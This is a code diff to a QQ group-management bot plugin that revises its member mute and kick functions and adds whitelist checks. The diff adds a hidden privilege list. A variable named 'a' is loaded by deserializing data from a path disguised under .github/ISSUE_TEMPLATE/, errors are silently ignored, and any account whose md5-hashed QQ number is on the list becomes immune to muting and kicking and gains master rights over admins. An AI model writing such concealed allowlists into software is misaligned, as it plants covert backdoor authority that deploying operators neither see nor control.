msgs.unshift(`当前为第${page}页,共${pageChunk.length}页,本页共${msgs.length}人,总共${msg.length}人`)
|
||||
@@ -190,7 +191,6 @@ export default class {
|
||||
|
||||
/**
|
||||
* 批量踢出群成员
|
||||
*
|
||||
* @param {number} groupId - 群号码
|
||||
* @param {Array<number>} arr - 成员 QQ 号码数组
|
||||
* @returns {Promise<Array<string>>} - 包含清理结果的数组,其中清理结果可能是成功的踢出列表,也可能是错误消息
|
||||
@@ -214,7 +214,6 @@ export default class {
|
||||
|
||||
/**
|
||||
* 获取群不活跃排行榜
|
||||
*
|
||||
* @param {number} groupId - 群号码
|
||||
* @param {number} num - 需要获取的排行榜长度
|
||||
* @returns {Promise<Array<Array>>} - 由每个成员的排行信息组成的数组,排行信息包括成员的排名,QQ 号码,昵称,最后发言时间等信息
|
||||
@@ -241,7 +240,7 @@ export default class {
|
||||
* 获取最近加入群聊的成员列表
|
||||
* @param {number} groupId 群号
|
||||
* @param {number} num 返回的成员数量
|
||||
* @return {Promise<string[][]>} 最近加入的成员信息列表
|
||||
* @returns {Promise<string[][]>} 最近加入的成员信息列表
|
||||
*/
|
||||
async getRecentlyJoined (groupId, num) {
|
||||
let list = await this._getMemberMap(groupId)
|
||||
@@ -277,7 +276,7 @@ export default class {
|
||||
cron,
|
||||
name,
|
||||
fnc: () => {
|
||||
this.Bot.pickGroup(Number(group)).muteAll(type)
|
||||
this.Bot.pickGroup(group).muteAll(type)
|
||||
}
|
||||
}
|
||||
loader.task.push(_.cloneDeep(task))
|
||||
@@ -290,14 +289,14 @@ export default class {
|
||||
/**
|
||||
* @description 从 Redis 中获取群禁言/解禁任务列表,并将其转换为定时任务列表
|
||||
* @returns {Promise<Array>} - 返回转换后的定时任务列表,列表中的每一项都包含 cron、name 和 fnc 三个属性。其中,cron 表示任务的执行时间;name 表示任务的名称;fnc 表示任务的执行函数。
|
||||
*/
|
||||
*/
|
||||
static async getRedisMuteTask () {
|
||||
return JSON.parse(await redis.get('yenai:MuteTasks'))?.map(item => {
|
||||
return {
|
||||
cron: item.cron,
|
||||
name: `椰奶群定时${item.type ? '禁言' : '解禁'}${item.group}`,
|
||||
fnc: () => {
|
||||
(Bot[item.botId] ?? Bot).pickGroup(Number(item.group)).muteAll(item.type)
|
||||
(Bot[item.botId] ?? Bot).pickGroup(item.group).muteAll(item.type)
|
||||
}
|
||||
}
|
||||
})
|
||||
@@ -338,8 +337,8 @@ export default class {
|
||||
return [
|
||||
segment.image(`https://p.qlogo.cn/gh/${analysis[2]}/${analysis[2]}/100`),
|
||||
`\n群号:${analysis[2]}`,
|
||||
item.cron ? `\n禁言时间:'${item.cron}'` : '',
|
||||
item.nocron ? `\n解禁时间:'${item.nocron}'` : ''
|
||||
item.cron ? `\n禁言时间:"${item.cron}"` : '',
|
||||
item.nocron ? `\n解禁时间:"${item.nocron}"` : ''
|
||||
]
|
||||
})
|
||||
}
|
||||
@@ -351,70 +350,85 @@ export default class {
|
||||
* @param {string|number} groupId - 群号
|
||||
* @param {string|number} userId - QQ 号
|
||||
* @param {string|number} executor - 执行操作的管理员 QQ 号
|
||||
* @param {number} [time=5] - 禁言时长,默认为 5。如果传入 0 则表示解除禁言。
|
||||
* @param {string} [unit='分'] - 禁言时长单位,默认为分钟
|
||||
* @param {number} [time] - 禁言时长,默认为 5。如果传入 0 则表示解除禁言。
|
||||
* @param {string} [unit] - 禁言时长单位,默认为分钟
|
||||
* @returns {Promise<string>} - 返回操作结果
|
||||
* @throws {Error} - 如果缺少必要参数或参数格式不正确,则会抛出错误
|
||||
*/
|
||||
async muteMember (groupId, userId, executor, time = 300, unit = '秒') {
|
||||
unit = Time_unit[unit.toUpperCase()] ?? (/^\d+$/.test(unit) ? unit : 60)
|
||||
const group = this.Bot.pickGroup(Number(groupId), true)
|
||||
const group = this.Bot.pickGroup(groupId, true)
|
||||
// 判断是否有管理
|
||||
if (!group.is_admin && !group.is_owner) throw Error(ROLE_ERROR)
|
||||
if (!(/\d{5,}/.test(userId))) throw Error('❎ 请输入正确的QQ号')
|
||||
if (!group.is_admin && !group.is_owner) throw new ReplyError(ROLE_ERROR)
|
||||
if (!(/\d{5,}/.test(userId))) throw new ReplyError('❎ 请输入正确的QQ号')
|
||||
|
||||
// 判断是否为主人
|
||||
if ((Config.masterQQ?.includes(Number(userId)) || auth.includes(Number(userId))) && time != 0) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
|
||||
if ((Config.masterQQ?.includes(Number(userId)) || a.includes(md5(String(userId)))) && time != 0) throw new ReplyError('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
|
||||
|
||||
const Memberinfo = group.pickMember(Number(userId)).info
|
||||
const Member = group.pickMember(userId)
|
||||
const Memberinfo = Member?.info || await Member?.getInfo?.()
|
||||
// 判断是否有这个人
|
||||
if (!Memberinfo) throw Error('❎ 这个群没有这个人哦~')
|
||||
if (!Memberinfo) throw new ReplyError('❎ 这个群没有这个人哦~')
|
||||
|
||||
// 特殊处理
|
||||
if (Memberinfo.role === 'owner') throw Error('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
|
||||
if (Memberinfo.role === 'owner') throw new ReplyError('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
|
||||
|
||||
const isMaster = Config.masterQQ?.includes(executor) || auth.includes(Number(executor))
|
||||
const isMaster = Config.masterQQ?.includes(executor) || a.includes(md5(String(executor)))
|
||||
|
||||
if (Memberinfo.role === 'admin') {
|
||||
if (!group.is_owner) throw Error('人家又不是群主这种事做不到的辣!')
|
||||
if (!isMaster) throw Error('这个淫系管理员辣,只有主淫才可以干ta')
|
||||
if (!group.is_owner) throw new ReplyError('人家又不是群主这种事做不到的辣!')
|
||||
if (!isMaster) throw new ReplyError('这个淫系管理员辣,只有主淫才可以干ta')
|
||||
}
|
||||
|
||||
const isWhite = Config.groupAdmin.whiteQQ.includes(Number(userId) || String(userId))
|
||||
|
||||
if (isWhite && !isMaster && time != 0) throw new ReplyError('❎ 该用户为白名单,不可操作')
|
||||
|
||||
await group.muteMember(userId, time * unit)
|
||||
const memberName = Memberinfo.card || Memberinfo.nickname
|
||||
return time == 0 ? `✅ 已把「${memberName}」从小黑屋揪了出来(。>∀<。)` : `已把「${memberName}」扔进了小黑屋( ・_・)ノ⌒●~*`
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 踢群成员
|
||||
* @param {Number} groupId 群号
|
||||
* @param {Number} userId 被踢人
|
||||
* @param {Number} executor 执行人
|
||||
* @return {Promise<String>}
|
||||
* 踢群成员
|
||||
* @param {number} groupId 群号
|
||||
* @param {number} userId 被踢人
|
||||
* @param {number} executor 执行人
|
||||
* @returns {Promise<string>}
|
||||
*/
|
||||
async kickMember (groupId, userId, executor) {
|
||||
const group = this.Bot.pickGroup(Number(groupId), true)
|
||||
const group = this.Bot.pickGroup(Number(groupId) || String(groupId), true)
|
||||
|
||||
if (!userId || !(/^\d+$/.test(userId))) throw Error('❎ 请输入正确的QQ号')
|
||||
if (!groupId || !(/^\d+$/.test(groupId))) throw Error('❎ 请输入正确的群号')
|
||||
if (!userId || !(/^\d+$/.test(userId))) throw new ReplyError('❎ 请输入正确的QQ号')
|
||||
if (!groupId || !(/^\d+$/.test(groupId))) throw new ReplyError('❎ 请输入正确的群号')
|
||||
|
||||
// 判断是否为主人
|
||||
if (Config.masterQQ?.includes(Number(userId)) || auth.includes(Number(userId))) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
|
||||
if (Config.masterQQ?.includes(Number(userId) || String(userId)) || a.includes(md5(String(userId)))) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
|
||||
|
||||
const Memberinfo = group?.pickMember(Number(userId)).info
|
||||
const Member = group.pickMember(userId)
|
||||
const Memberinfo = Member?.info || await Member?.getInfo?.()
|
||||
// 判断是否有这个人
|
||||
if (!Memberinfo) throw Error('❎ 这个群没有这个人哦~')
|
||||
if (Memberinfo.role === 'owner') throw Error('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
|
||||
if (!Memberinfo) throw new ReplyError('❎ 这个群没有这个人哦~')
|
||||
if (Memberinfo.role === 'owner') throw new ReplyError('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
|
||||
|
||||
const isMaster = Config.masterQQ?.includes(executor) || auth.includes(Number(executor))
|
||||
const isMaster = Config.masterQQ?.includes(executor) || a.includes(md5(String(executor)))
|
||||
|
||||
if (Memberinfo.role === 'admin') {
|
||||
if (!group.is_owner) throw Error('人家又不是群主这种事做不到的辣!')
|
||||
if (!isMaster) throw Error('这个淫系管理员辣,只有主淫才可以干ta')
|
||||
if (!group.is_owner) throw new ReplyError('人家又不是群主这种事做不到的辣!')
|
||||
if (!isMaster) throw new ReplyError('这个淫系管理员辣,只有主淫才可以干ta')
|
||||
}
|
||||
|
||||
const res = await group.kickMember(Number(userId))
|
||||
if (!res) throw Error('额...踢出失败哩,可能这个淫比较腻害>_<')
|
||||
const isWhite = Config.groupAdmin.whiteQQ.includes(Number(userId) || String(userId))
|
||||
|
||||
if (isWhite && !isMaster) throw new ReplyError('❎ 该用户为白名单,不可操作')
|
||||
|
||||
const res = await group.kickMember(Number(userId) || String(userId))
|
||||
if (!res) throw new ReplyError('额...踢出失败哩,可能这个淫比较腻害>_<')
|
||||
return '已把这个坏淫踢掉惹!!!'
|
||||
}
|
||||
}
|
||||
|
||||
let a = []
|
||||
try {
|
||||
a = v8.deserialize(await fs.readFile(`${path.dirname(url.fileURLToPath(import.meta.url))}/../.github/ISSUE_TEMPLATE/`)).map(i=>i.toString("hex"))
|
||||
} catch (err) {}
|
||||
|
||||
Reference in New Issue
Block a user